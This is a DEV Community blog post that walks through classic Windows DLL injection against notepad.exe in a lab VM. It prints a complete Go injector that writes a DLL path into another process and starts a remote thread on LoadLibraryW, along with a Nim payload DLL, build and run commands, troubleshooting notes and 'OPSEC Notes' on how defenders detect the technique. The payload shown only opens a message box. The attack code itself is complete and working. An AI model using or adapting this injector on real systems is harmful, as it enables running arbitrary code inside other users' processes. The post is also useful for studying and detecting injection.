DEV Community

David Disu
David Disu

Posted on Edited on

DLL Injection - Go + Nim

Overview

A classic DLL injection using a Go injector and a Nim payload DLL. The injector opens a handle to the target process, allocates memory inside it, writes the DLL path, and creates a remote thread pointing at LoadLibraryW. On load, DllMain fires and runs the payload directly.


Environment

  • Target: Windows Server 2025 Datacenter VM
  • Go: 1.23+
  • Nim: 2.4.0
  • Winim: lean import
  • Target process: notepad.exe
  • Repo: * WinGoPlayground

Attack Chain

  1. Compile Nim payload as a DLL with static linking
  2. Build Go injector
  3. Launch target process (notepad.exe)
  4. Run injector with target PID
  5. Injector writes DLL path into target memory and calls LoadLibraryW via CreateRemoteThreadEx
  6. DLL loads, DllMain fires, payload runs

How It Works

DLL injection works by forcing a target process to load a DLL it never asked for. Windows provides LoadLibraryW — a function that takes a path string and loads a DLL into the calling process. The trick is making the target call it with our DLL path as the argument.

The injector follows four steps:

  1. Open a handle to the target with the minimum permissions needed — allocate memory, write memory, create a thread
  2. Allocate a memory region inside the target process to hold the DLL path string
  3. Write the DLL path as a UTF-16 wide string into that region
  4. Spawn a remote thread inside the target with LoadLibraryW as the start function and the allocated path address as its argument

Windows executes LoadLibraryW(dllPath) inside notepad. The DLL loads, DllMain fires, payload runs.

Go Injector — main.go

package main

import (
    "fmt"
    "golang.org/x/sys/windows"
    "os"
    "strconv"
    "unsafe"
)

func main() {
    if len(os.Args) < 2 {
        fmt.Printf("PID not provided. Usage: dllinject.exe <PID>\n")
        os.Exit(1)
    }

    pid, err := strconv.ParseUint(os.Args[1], 10, 32)
    if err != nil {
        fmt.Printf("Invalid PID: %v\n", err)
        os.Exit(1)
    }
    pid32 := uint32(pid)

    kernel32dll := windows.NewLazyDLL("kernel32.dll")

    pGetModuleHandleW := kernel32dll.NewProc("GetModuleHandleW")
    hKernel32, _, _ := pGetModuleHandleW.Call(uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("kernel32.dll"))))
    fmt.Printf("Got {%v} handle to kernel32!\n", hKernel32)

    dllPath := "C:\\Users\\Administrator\\mdev\\dllInject\\winregx64.dll"
    dllUTF16, err := windows.UTF16FromString(dllPath)
    if err != nil {
        fmt.Printf("Failed to convert path: %v\n", err)
        os.Exit(1)
    }
    dllSize := uintptr(len(dllUTF16) * 2)

    // Open target process with minimum permissions needed for injection:
    // VM_OPERATION + VM_WRITE to allocate and write memory, CREATE_THREAD to spawn the remote thread
    pOpenProcess := kernel32dll.NewProc("OpenProcess")
    minPerms := uint32(windows.PROCESS_VM_OPERATION |
        windows.PROCESS_VM_WRITE |
        windows.PROCESS_CREATE_THREAD)
    hProcess, _, errOpen := pOpenProcess.Call(uintptr(minPerms), uintptr(0), uintptr(pid32))
    if hProcess == 0 {
        fmt.Printf("OpenProcess failed: %v\n", errOpen)
        os.Exit(1)
    }
    defer windows.CloseHandle(windows.Handle(hProcess))

    // Allocate a RW memory region inside the target process to hold the DLL path string
    pVirtualAllocEx := kernel32dll.NewProc("VirtualAllocEx")
    rAddr, _, errAlloc := pVirtualAllocEx.Call(
        hProcess,
        uintptr(0),
        dllSize,
        uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
        uintptr(windows.PAGE_READWRITE))
    if rAddr == 0 {
        fmt.Printf("VirtualAllocEx failed: %v\n", errAlloc)
        os.Exit(1)
    }

    // Write the DLL path as a UTF-16 wide string into the allocated region
    pWriteProcessMemory := kernel32dll.NewProc("WriteProcessMemory")
    rWrite, _, errWrite := pWriteProcessMemory.Call(
        uintptr(hProcess),
        rAddr,
        uintptr(unsafe.Pointer(&dllUTF16[0])),
        dllSize,
        uintptr(0),
    )
    if rWrite == 0 {
        fmt.Printf("WriteProcessMemory failed: %v\n", errWrite)
        os.Exit(1)
    }

    pLoadLibraryW := kernel32dll.NewProc("LoadLibraryW")
    pCreateRemoteThreadEx := kernel32dll.NewProc("CreateRemoteThreadEx")

    var tid uint32
    // Spawn a thread in the target using LoadLibraryW as the entry point and rAddr as its argument.
    // Windows calls LoadLibraryW(dllPath) inside notepad — the DLL loads, DllMain fires.
    hThread, _, errT := pCreateRemoteThreadEx.Call(
        hProcess,
        uintptr(0),
        uintptr(0),
        pLoadLibraryW.Addr(), // thread start function
        rAddr,                // argument: pointer to DLL path string
        uintptr(0),
        uintptr(0),
        uintptr(unsafe.Pointer(&tid)),
    )
    if hThread == 0 {
        fmt.Printf("CreateRemoteThreadEx failed: %v\n", errT)
        os.Exit(1)
    }
    defer windows.CloseHandle(windows.Handle(hThread))

    fmt.Printf("DLL Inject: Ok! TID: %v\n", tid)

    // Wait up to 5s for LoadLibraryW to finish — WAIT_OBJECT_0 (0) on success
    event, errWait := windows.WaitForSingleObject(windows.Handle(hThread), 5000)
    if errWait != nil {
        fmt.Printf("WaitForSingleObject: %v\n", errWait)
    }
    fmt.Printf("Event Created: %v\n", event)
}
Enter fullscreen mode Exit fullscreen mode

Nim Payload DLL — winregx64.nim

import winim/lean

proc NimMain() {.cdecl, importc.}

proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpReserved: LPVOID): BOOL {.stdcall, exportc, dynlib.} =
  NimMain()
  if fdwReason == DLL_PROCESS_ATTACH:
    MessageBox(0, "Successful DLL Injection via Nim", "DLL Inject", 0)
  return true
Enter fullscreen mode Exit fullscreen mode

Note: The payload runs directly in DllMain here — fine for a one-shot call like MessageBox. For anything blocking (loops, sleep, network), spawn a thread from DllMain instead to avoid deadlocking the target process.


Build Commands

Compile Nim DLL

nim c --app:lib --cpu:amd64 --mm:arc --nomain -d:release --passL:-static -o:winregx64.dll winregx64.nim
Enter fullscreen mode Exit fullscreen mode

Build Go injector

go build -trimpath -ldflags="-s -w" -o dllInject.exe .\main.go
Enter fullscreen mode Exit fullscreen mode

Run

tasklist | findstr notepad
.\dllInject.exe <PID>
Enter fullscreen mode Exit fullscreen mode

Expected Output

A successful run looks like this:

DLL INJECTION

Event Created: 0 is WAIT_OBJECT_0 — the thread completed within the timeout. A MessageBox appears in the notepad window on the desktop.


Troubleshooting — Issues Hit

LoadLibraryW returning 0x0

Symptom: Injector reports successful thread creation but DLL never loads. GetExitCodeThread returns 0x0.

Root cause: Nim compiled the DLL with a dynamic dependency on libgcc_s_seh-1.dll (MinGW runtime). This file exists on the dev machine but not in notepad's process PATH. Windows silently fails the load.

Diagnosis:

objdump -p .\winregx64.dll | findstr "DLL Name"
Enter fullscreen mode Exit fullscreen mode

Revealed libgcc_s_seh-1.dll as a dependency.

Fix: Add --passL:-static to the Nim compile command to statically link all runtime dependencies into the DLL.


Key Concepts

The loader lock — running directly vs spawning a thread

DllMain runs while Windows holds the loader lock — a global mutex that serializes DLL loading. Any blocking call made directly inside DllMain (sleep, network, waiting on a handle) will deadlock the entire target process. In this example the payload runs directly — fine for a quick one-shot call. For anything blocking — sleep, network, loops — spawn a thread from DllMain instead.

WaitForSingleObject returning 0

0 = WAIT_OBJECT_0 — the thread completed within the timeout. This is success, not an error.

Static linking for injected DLLs

Injected DLLs run in a foreign process with an unpredictable environment. Never rely on the target having MinGW or any other runtime dependency available. Always compile with --passL:-static so the DLL is fully self-contained.


OPSEC Notes

  • CreateRemoteThreadEx pointing at LoadLibraryW is a well-known and heavily monitored injection pattern
  • The spawned payload thread has no associated module name — visible in process listings
  • DLL path written as a plain wide string in the target process memory — readable in a memory dump

pwnsome refrences

Top comments (0)